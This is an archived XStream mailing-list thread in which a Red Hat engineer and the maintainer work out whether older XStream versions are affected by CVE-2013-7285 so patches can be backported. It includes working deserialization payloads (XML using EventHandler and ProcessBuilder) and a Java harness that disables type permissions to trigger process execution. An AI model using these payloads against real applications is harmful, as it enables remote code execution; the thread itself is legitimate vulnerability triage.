Hi David,

David Jorm wrote:

> On 02/14/2014 12:45 AM, Jörg Schaible wrote:
>> Hi David,
>>
>> David Jorm wrote:
>>
>>>> Hello,
>>>>
>>>> the XStream project is pleased to announce the release of XStream
>>>> 1.4.7.
>>>>
>>>> The release is primarily a security release to address CVE-2013-7285.
>>>> XStream will no longer handle any java.bean.EventHandler instance as
>>>> immediate consequence. If you know what you do, you may still register
>>>> the ReflectionConverter for this type. Unless you unmarshal such
>>>> objects, XStream 1.4.7 is meant as drop-in replacement.
>>>>
>>>> XStream contains now on top of this a security framework, where you can
>>>> fine- control any type that is permitted by XStream to unmarshall. All
>>>> security related aspects are described in this new documentation:
>>>>
>>>>   http://xstream.codehaus.org/security.html
>>>>
>>>> Check it out yourself:
>>>>
>>>>   http://xstream.codehaus.org/downloads.html
>>>>
>>>> Enjoy,
>>>> XStream Committers
>>> Thanks very much for shipping this release!
>>>
>>> I am currently working on backporting patches to older versions of
>>> XStream that ship in Red Hat products. The oldest is XStream 1.3.1, and
>>> I am unable to reproduce an exploit of this issue on 1.3.1. When using a
>>> PoC exploit based on the details published by Dinis Cruz (I won't attach
>>> it as that would only encourage usage by unskilled attackers), it works
>>> against XStream 1.4.x, but not 1.3.1. I had to modify the exploit XML in
>>> two ways to make it compatible with 1.3.1:
>>>
>>> 1) Use <tree-set> rather than <sorted-set> due to:
>>> http://jira.codehaus.org/browse/XSTR-573
>>>
>>> 2) Add a <no-comparator> element due to:
>>> http://jira.codehaus.org/browse/XSTR-576
>>>
>>> Even with these changes, instead of executing the process defined by the
>>> EventHandler in the XML, I get:
>>>
>>> com.thoughtworks.xstream.converters.ConversionException: Cannot
>>> construct java.beans.EventHandler as it does not have a no-args
>>> constructor : Cannot construct java.beans.EventHandler as it does not
>>> have a no-args constructor ---- Debugging information ----
>>> message             : Cannot construct java.beans.EventHandler as it
>>> does not have a no-args constructor
>>> cause-exception     :
>>> com.thoughtworks.xstream.converters.reflection.ObjectAccessException
>>> cause-message       : Cannot construct java.beans.EventHandler as it
>>> does not have a no-args constructor
>>> class               : java.util.TreeSet
>>> required-type       : java.beans.EventHandler
>>> path                : /tree-set/dynamic-proxy/handler
>>> -------------------------------
>>>
>>> This leads me to question whether XStream <= 1.3.1 is actually affected
>>> by this issue. At this point, I must profess ignorance. I know very
>>> little about XStream, I only really started looking at it in order to
>>> address this security issue. Can any of the developers provide any
>>> input? Is 1.3.1 missing a feature that is necessary to exploit this
>>> issue? Or does the exploit just require further modification?
>>>
>>> Please feel free to reply to me directly if 1.3.1 is exploitable and you
>>> don't want to publicly circulate details regarding exploitation. I will
>>> handle any information given in private as strictly confidential.
>> XStream 1.3.1 does nothing know about Oracle as Java vendor, so it uses
>> the PureJavaReflectionProvider as fallback which requires a default
>> constructor in return. Simply use an old Java 6 or directly Java 5 and
>> you'll see that the exploit "works"... or provide a
>> Sun14ReflectionProvider instance as constructor argument to XStream.
>>
>> Even 0.x versions of XStream have a DynamicProxyConverter, a
>> ReflectionConverter and a Sun14ReflectionProvider and might potentially
>> be affected.
>>
>> Cheers,
>> Jörg
>>
> 
> Thanks for the insight, Jörg. Using Java 6, the exploit runs
> successfully, but the EventHandler is never called. Using the following
> snippet of code:
> 
> FileReader fileReader = new FileReader("input.xml");
> Object obj =  xStream.fromXML(fileReader);
> System.out.println(obj.toString());
> System.out.println(xStream.toXML(obj));
> 
> Where input.xml contains:
> 
> <tree-set>
>      <no-comparator />
>      <string>foo</string>
>      <dynamic-proxy>
>          <interface>java.lang.Comparable</interface>
>          <handler class="java.beans.EventHandler">
>              <target class="java.lang.ProcessBuilder">
>                  <command>
>                      <string>/usr/bin/evince</string>
>                  </command>
>              </target>
>              <action>start</action>
>          </handler>
>      </dynamic-proxy>
> </tree-set>
> 
> The attack works against XStream 1.4.6. The code throws an exception on
> line 2, and executes /usr/bin/evince:
> 
> com.thoughtworks.xstream.converters.ConversionException:
> java.lang.UNIXProcess cannot be cast to java.lang.Integer :
> java.lang.UNIXProcess cannot be cast to java.lang.Integer
> ---- Debugging information ----
> message             : java.lang.UNIXProcess cannot be cast to
> java.lang.Integer
> cause-exception     : java.lang.ClassCastException
> cause-message       : java.lang.UNIXProcess cannot be cast to
> java.lang.Integer
> class               : java.util.TreeSet
> required-type       : java.util.TreeSet
> converter-type      :
> com.thoughtworks.xstream.converters.collections.TreeSetConverter
> path                : /tree-set
> version             : 1.4.6
> 
> Running against XStream 1.3.1, no exception is thrown, and the following
> output is produced:
> 
> [foo, com.sun.proxy.$Proxy0@735ed323]
> <tree-set>
>    <no-comparator/>
>    <string>foo</string>
>    <dynamic-proxy>
>      <interface>java.lang.Comparable</interface>
>      <handler class="java.beans.EventHandler">
>        <target class="java.lang.ProcessBuilder">
>          <command>
>            <string>/usr/bin/evince</string>
>          </command>
>          <redirectErrorStream>false</redirectErrorStream>
>        </target>
>        <action>start</action>
>      </handler>
>    </dynamic-proxy>
> </tree-set>
> 
> i.e. it seems like the DynamicProxy object is successfully deserialized,
> but the EventHandler is never called. Any insight into what might be
> happening? Sorry again if I am missing something obvious due to my poor
> knowledge of XStream.

Actually the example with the tree-set should not have worked for recent 
1.4.x versions also. Main reason is http://jira.codehaus.org/browse/XSTR-407 
which has been part of XStream since version 1.3.0.

In short: When deserializing a sorted set, XStream tries to setup the 
collection without any invocation of a comparator, because the items are 
already in sort order and calling the comparator or the item's compareTo 
method might have unwanted side-effects. Unfortunately there's again no 
official method to do so and XStream tries to fool the TreeSet (or TreeMap). 
However, I had some time ago another report from a user that our neat trick 
no longer works, but I did not found the time to investigate.

Therefore the XML above does not have to cause the execution of the shell 
directly at deserialization time.

You may give this code a try using the comparator directly for the exploit:
============================== %< ========================
public class Main {
    public static void pureJava() {
        Set set = new 
TreeSet((Comparator)EventHandler.create(Comparator.class, new 
ProcessBuilder(
            "gview", "/etc/fstab"), "start"));
        set.add("foo");
        set.add("bar");
    }

    public static void main(String[] args) {
        XStream xstream = new XStream();
        xstream.addPermission(AnyTypePermission.ANY);
        xstream.registerConverter(new 
ReflectionConverter(xstream.getMapper(), xstream.getReflectionProvider(),
            EventHandler.class));
        String message = "Deserialization failed";
        try {
            Set set = (Set)xstream.fromXML(
                ""
                    + "<string class='tree-set'>\n"
                    + "  <comparator class=\"dynamic-proxy\">\n"
                    + "    <interface>java.util.Comparator</interface>\n"
                    + "    <handler class='java.beans.EventHandler'>\n"
                    + "      <target class='java.lang.ProcessBuilder'>\n"
                    + "        <command>\n"
                    + "          <string>gview</string>\n"
                    + "          <string>/etc/inittab</string>\n"
                    + "        </command>\n"
                    + "      </target>\n"
                    + "      <action>start</action>\n"
                    + "    </handler>\n"
                    + "  </comparator>\n"
                    + "  <string>foo</string>\n"
                    + "  <string>bar</string>\n"
                    + "</string>");
            message = "Deserialized set.toString() failed";
            System.out.println(set.toString());
            message = "Deserialized set.add(baz) failed";
            set.add("baz");
        } catch (RuntimeException e) {
            System.out.println(message + ". " + e.getMessage());
        }
        try {
            message = "Setup with pure Java failed";
            pureJava();
        } catch (RuntimeException e) {
            System.out.println(message + ". " + e.getMessage());
        }
    }
}
==================================== %< ============================

Cheers,
Jörg


---------------------------------------------------------------------
To unsubscribe from this list, please visit:

    http://xircles.codehaus.org/manage_email


Reply via email to